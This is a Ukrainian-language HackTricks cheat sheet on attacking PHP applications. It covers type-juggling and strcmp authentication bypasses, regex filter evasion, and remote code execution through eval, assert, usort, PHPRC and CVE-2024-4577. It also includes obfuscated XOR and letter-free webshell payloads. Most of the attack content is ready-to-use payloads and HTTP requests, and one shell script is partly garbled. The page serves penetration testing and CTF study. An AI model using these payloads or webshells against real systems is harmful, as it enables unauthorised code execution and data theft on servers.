PHP Tricks

Reading time: 17 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Загальне місцезнаходження куків:

Це також стосується куків phpMyAdmin.

Cookies:

PHPSESSID
phpMyAdmin

Локації:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Обхід порівнянь PHP

Слабкі порівняння/Перетворення типів ( == )

Якщо в PHP використовується ==, то є несподівані випадки, коли порівняння не веде себе так, як очікується. Це пов'язано з тим, що "==" порівнює лише значення, перетворені в один і той же тип; якщо ви також хочете порівняти, що тип порівнюваних даних однаковий, вам потрібно використовувати ===.

Таблиці порівняння PHP: https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True Рядок, який не починається з числа, дорівнює числу
  • "0xAAAA" == "43690" -> True Рядки, що складаються з чисел у десятковому або шістнадцятковому форматі, можуть бути порівняні з іншими числами/рядками з результатом True, якщо числа були однаковими (числа в рядку інтерпретуються як числа)
  • "0e3264578" == 0 --> True Рядок, що починається з "0e" і за яким слідує будь-що, буде дорівнювати 0
  • "0X3264578" == 0X --> True Рядок, що починається з "0" і за яким слідує будь-яка літера (X може бути будь-якою літерою) і за яким слідує будь-що, буде дорівнювати 0
  • "0e12334" == "0" --> True Це дуже цікаво, оскільки в деяких випадках ви можете контролювати вхідний рядок "0" і деякий вміст, який хешується і порівнюється з ним. Тому, якщо ви можете надати значення, яке створить хеш, що починається з "0e" і без будь-якої літери, ви могли б обійти порівняння. Ви можете знайти вже захешовані рядки з цим форматом тут: https://github.com/spaze/hashes
  • "X" == 0 --> True Будь-яка літера в рядку дорівнює int 0

Більше інформації в https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Перетворення типів також впливає на функцію in_array() за замовчуванням (вам потрібно встановити третій аргумент в true, щоб зробити строгий порівняння):

php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Якщо ця функція використовується для будь-якої перевірки автентифікації (наприклад, перевірка пароля) і користувач контролює одну сторону порівняння, він може надіслати порожній масив замість рядка як значення пароля (https://example.com/login.php/?username=admin&password[]=) і обійти цю перевірку:

php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

Та ж помилка виникає з strcasecmp()

Жорстке приведення типів

Навіть якщо === використовується, можуть виникати помилки, які роблять порівняння вразливим до приведення типів. Наприклад, якщо порівняння перетворює дані в інший тип об'єкта перед порівнянням:

php
(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() може бути використаний для перевірки введення користувача (він перевіряє, чи є будь-яке слово/регулярний вираз з чорного списку присутнім у введенні користувача, і якщо його немає, код може продовжити своє виконання).

Обхід нового рядка

Однак, при обмеженні початку регулярного виразу preg_match() перевіряє лише перший рядок введення користувача, тому, якщо якимось чином ви зможете надіслати введення в кількох рядках, ви зможете обійти цю перевірку. Приклад:

php
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Щоб обійти цю перевірку, ви можете надіслати значення з новими рядками, закодованими в URL (%0A), або якщо ви можете надіслати JSON-дані, надішліть їх у кількох рядках:

php
{
"cmd": "cat /etc/passwd"
}

Знайдіть приклад тут: https://ramadistra.dev/fbctf-2019-rceservice

Обхід помилки довжини

(Цей обхід, очевидно, був спробований на PHP 5.2.5, і мені не вдалося змусити його працювати на PHP 7.3.15)
Якщо ви зможете надіслати preg_match() дійсний дуже великий вхід, він не зможе його обробити і ви зможете обійти перевірку. Наприклад, якщо він блокує JSON, ви можете надіслати:

bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

Від: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0

Обхід ReDoS

Трюк з: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 та https://mizu.re/post/pong

Коротко кажучи, проблема виникає через те, що функції preg_* у PHP базуються на PCRE бібліотеці. У PCRE певні регулярні вирази співпадають, використовуючи багато рекурсивних викликів, що займає багато стекового простору. Можливо встановити обмеження на кількість дозволених рекурсій, але в PHP це обмеження за замовчуванням становить 100.000, що більше, ніж вміщується в стек.

Ця тема на Stackoverflow також була згадана в пості, де детальніше обговорюється ця проблема. Наше завдання стало зрозумілим:
Надіслати вхідні дані, які змусили б regex виконати 100_000+ рекурсій, викликавши SIGSEGV, змусивши функцію preg_match() повернути false, таким чином змусивши додаток думати, що наш вхід не є шкідливим, підкидаючи сюрприз в кінці корисного навантаження щось на кшталт {system(<verybadcommand>)} для отримання SSTI --> RCE --> flag :).

Отже, в термінах regex, ми насправді не виконуємо 100k "рекурсій", а замість цього рахуємо "кроки назад", які, як зазначає документація PHP, за замовчуванням становлять 1_000_000 (1M) у змінній pcre.backtrack_limit.\ Щоб досягти цього, 'X'*500_001 призведе до 1 мільйона кроків назад (500k вперед і 500k назад):

python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Типове перетворення для обфускації PHP

php
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Execute After Redirect (EAR)

Якщо PHP перенаправляє на іншу сторінку, але жодна функція die або exit не викликається після того, як заголовок Location встановлено, PHP продовжує виконання та додає дані до тіла:

php
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Path Traversal and File Inclusion Exploitation

Check:

File Inclusion/Path traversal

More tricks

  • register_globals: У PHP < 4.1.1.1 або якщо неправильно налаштовано, register_globals може бути активним (або їх поведінка імітується). Це означає, що в глобальних змінних, таких як $_GET, якщо вони мають значення, наприклад, $_GET["param"]="1234", ви можете отримати доступ до них через **$param. Таким чином, відправляючи HTTP параметри, ви можете перезаписати змінні**, які використовуються в коді.
  • PHPSESSION cookies одного домену зберігаються в одному місці, тому якщо в межах домену використовуються різні cookies в різних шляхах, ви можете зробити так, щоб шлях отримував доступ до cookie іншого шляху, встановивши значення cookie іншого шляху.
    Цим способом, якщо обидва шляхи отримують доступ до змінної з однаковим ім'ям, ви можете зробити так, щоб значення цієї змінної в path1 застосовувалося до path2. І тоді path2 вважатиме змінні path1 дійсними (надаючи cookie ім'я, яке відповідає йому в path2).
  • Коли у вас є імена користувачів користувачів машини. Перевірте адресу: /~<USERNAME>, щоб дізнатися, чи активовані php каталоги.
  • Якщо конфігурація php має register_argc_argv = On, то параметри запиту, розділені пробілами, використовуються для заповнення масиву аргументів array_keys($_SERVER['argv']) так, ніби це аргументи з CLI. Це цікаво, тому що якщо ця налаштування вимкнено, значення масиву args буде Null при виклику з вебу, оскільки масив ars не буде заповнений. Тому, якщо веб-сторінка намагається перевірити, чи вона працює як веб-інструмент або як CLI-інструмент з порівнянням, наприклад, if (empty($_SERVER['argv'])) {, зловмисник може надіслати параметри в GET запиті, такі як ?--configPath=/lalala, і вона подумає, що працює як CLI, і потенційно розпарсить і використає ці аргументи. Більше інформації в оригінальному описі.
  • LFI and RCE using php wrappers

password_hash/password_verify

Ці функції зазвичай використовуються в PHP для генерації хешів з паролів та для перевірки, чи правильний пароль у порівнянні з хешем.
Підтримувані алгоритми: PASSWORD_DEFAULT та PASSWORD_BCRYPT (починається з $2y$). Зверніть увагу, що PASSWORD_DEFAULT часто є тим самим, що і PASSWORD_BCRYPT. І наразі PASSWORD_BCRYPT має обмеження за розміром на вхідні дані в 72 байти. Тому, коли ви намагаєтеся захешувати щось більше ніж 72 байти за допомогою цього алгоритму, буде використано лише перші 72B:

php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP заголовки обхід зловживанням помилками PHP

Виклик помилки після встановлення заголовків

З цього треду в твіттері ви можете побачити, що надсилаючи більше ніж 1000 GET параметрів або 1000 POST параметрів або 20 файлів, PHOP не буде встановлювати заголовки у відповіді.

Це дозволяє обійти, наприклад, заголовки CSP, які встановлюються в кодах, таких як:

php
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

Заповнення тіла перед встановленням заголовків

Якщо PHP-сторінка виводить помилки та відображає деякі дані, надані користувачем, користувач може змусити PHP-сервер вивести деякий контент, достатньо великий, щоб коли він намагатиметься додати заголовки до відповіді, сервер видасть помилку.
У наступному сценарії зловмисник змусив сервер вивести великі помилки, і, як ви можете бачити на екрані, коли PHP намагався змінити інформацію заголовка, він не зміг (тому, наприклад, заголовок CSP не був надісланий користувачу):

SSRF у функціях PHP

Перевірте сторінку:

PHP SSRF

Виконання коду

system("ls");
`ls`;
shell_exec("ls");

Перевірте це для більш корисних функцій PHP

RCE через preg_replace()

php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Щоб виконати код у аргументі "replace", потрібне принаймні одне співпадіння.
Ця опція preg_replace була застарілою починаючи з PHP 5.5.0.

RCE через Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE через Assert()

Ця функція в php дозволяє вам виконувати код, написаний у рядку, щоб повернути true або false (і в залежності від цього змінити виконання). Зазвичай змінна користувача буде вставлена в середину рядка. Наприклад:
assert("strpos($_GET['page']),'..') === false") --> У цьому випадку, щоб отримати RCE, ви могли б зробити:

?page=a','NeVeR') === false and system('ls') and strpos('a

Вам потрібно зламати синтаксис коду, додати ваш payload, а потім виправити його знову. Ви можете використовувати логічні операції такі як "and" або "%26%26" або "|". Зверніть увагу, що "or", "||" не працює, оскільки якщо перша умова істинна, наш payload не буде виконано. Так само ";" не працює, оскільки наш payload не буде виконано.

Інша опція - додати до рядка виконання команди: '.highlight_file('.passwd').'

Інша опція (якщо у вас є внутрішній код) - змінити деяку змінну, щоб змінити виконання: $file = "hola"

RCE через usort()

Ця функція використовується для сортування масиву елементів за допомогою конкретної функції.
Щоб зловживати цією функцією:

php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
php
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

Ви також можете використовувати // для коментування решти коду.

Щоб виявити кількість дужок, які потрібно закрити:

  • ?order=id;}//: ми отримуємо повідомлення про помилку (Parse error: syntax error, unexpected ';'). Можливо, нам не вистачає однієї або кількох дужок.
  • ?order=id);}//: ми отримуємо попередження. Це, здається, правильно.
  • ?order=id));}//: ми отримуємо повідомлення про помилку (Parse error: syntax error, unexpected ')' i). Можливо, у нас занадто багато закриваючих дужок.

RCE через .httaccess

Якщо ви можете завантажити .htaccess, то ви можете налаштувати кілька речей і навіть виконати код (налаштувавши, щоб файли з розширенням .htaccess могли бути виконані).

Різні оболонки .htaccess можна знайти тут

RCE через змінні середовища

Якщо ви знайдете вразливість, яка дозволяє вам модифікувати змінні середовища в PHP (і ще одну для завантаження файлів, хоча з більшою дослідженням це може бути обійдено), ви могли б зловживати цією поведінкою, щоб отримати RCE.

  • LD_PRELOAD: Ця змінна середовища дозволяє вам завантажувати довільні бібліотеки під час виконання інших бінарних файлів (хоча в цьому випадку це може не спрацювати).
  • PHPRC : Вказує PHP, де знайти свій конфігураційний файл, зазвичай називається php.ini. Якщо ви можете завантажити свій власний конфігураційний файл, то використовуйте PHPRC, щоб вказати PHP на нього. Додайте запис auto_prepend_file, що вказує на другий завантажений файл. Цей другий файл містить звичайний PHP код, який потім виконується PHP-інтерпретатором перед будь-яким іншим кодом.
  1. Завантажте PHP файл, що містить наш shellcode
  2. Завантажте другий файл, що містить директиву auto_prepend_file, яка вказує PHP-препроцесору виконати файл, який ми завантажили на етапі 1
  3. Встановіть змінну PHPRC на файл, який ми завантажили на етапі 2.
  • Отримайте більше інформації про те, як виконати цей ланцюг з оригінального звіту.
  • PHPRC - ще один варіант
  • Якщо ви не можете завантажити файли, ви можете використовувати в FreeBSD "файл" /dev/fd/0, який містить stdin, будучи тілом запиту, надісланого до stdin:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • Або, щоб отримати RCE, увімкніть allow_url_include і додайте файл з base64 PHP кодом:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • Техніка з цього звіту.

XAMPP CGI RCE - CVE-2024-4577

Веб-сервер обробляє HTTP запити і передає їх PHP скрипту, виконуючи запит, наприклад, http://host/cgi.php?foo=bar як php.exe cgi.php foo=bar, що дозволяє ін'єкцію параметрів. Це дозволить ін'єктувати наступні параметри для завантаження PHP коду з тіла:

jsx
-d allow_url_include=1 -d auto_prepend_file=php://input

Крім того, можливо ввести параметр "-" за допомогою символу 0xAD через подальшу нормалізацію PHP. Перевірте приклад експлуатації з цього посту:

jsx
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

PHP Sanitization bypass & Brain Fuck

У цьому пості можна знайти чудові ідеї для генерації brain fuck PHP коду з дуже обмеженою кількістю дозволених символів.
Більше того, також пропонується цікавий спосіб виконання функцій, які дозволили обійти кілька перевірок:

php
(1)->{system($_GET[chr(97)])}

PHP Статичний аналіз

Перевірте, чи можете ви вставити код у виклики цих функцій (з тут):

php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Якщо ви налагоджуєте PHP-додаток, ви можете глобально увімкнути виведення помилок у /etc/php5/apache2/php.ini, додавши display_errors = On, і перезапустити apache: sudo systemctl restart apache2

Деобфускація PHP коду

Ви можете використовувати web www.unphp.net для деобфускації php коду.

PHP обгортки та протоколи

PHP обгортки та протоколи можуть дозволити вам обійти захист на запис і читання в системі та скомпрометувати її. Для додаткової інформації перегляньте цю сторінку.

Xdebug неавтентифікований RCE

Якщо ви бачите, що Xdebug увімкнено в phpconfig() виводі, вам слід спробувати отримати RCE через https://github.com/nqxcode/xdebug-exploit

Змінні змінних

php
$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE зловживання новим $_GET["a"]($_GET["b"])

Якщо на сторінці ви можете створити новий об'єкт довільного класу, ви можете отримати RCE, перевірте наступну сторінку, щоб дізнатися як:

PHP - RCE abusing object creation: new $_GET"a"

Виконання PHP без літер

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Використання восьмиричного

php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR легкий shell код

Згідно з цією статтею можливо згенерувати легкий shellcode таким чином:

php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Отже, якщо ви можете виконувати довільний PHP без цифр і літер, ви можете надіслати запит, як наведено нижче, зловживаючи цим корисним навантаженням для виконання довільного PHP:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Для більш детального пояснення перегляньте https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (всередині eval)

bash
#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
php
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl подібний

php
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks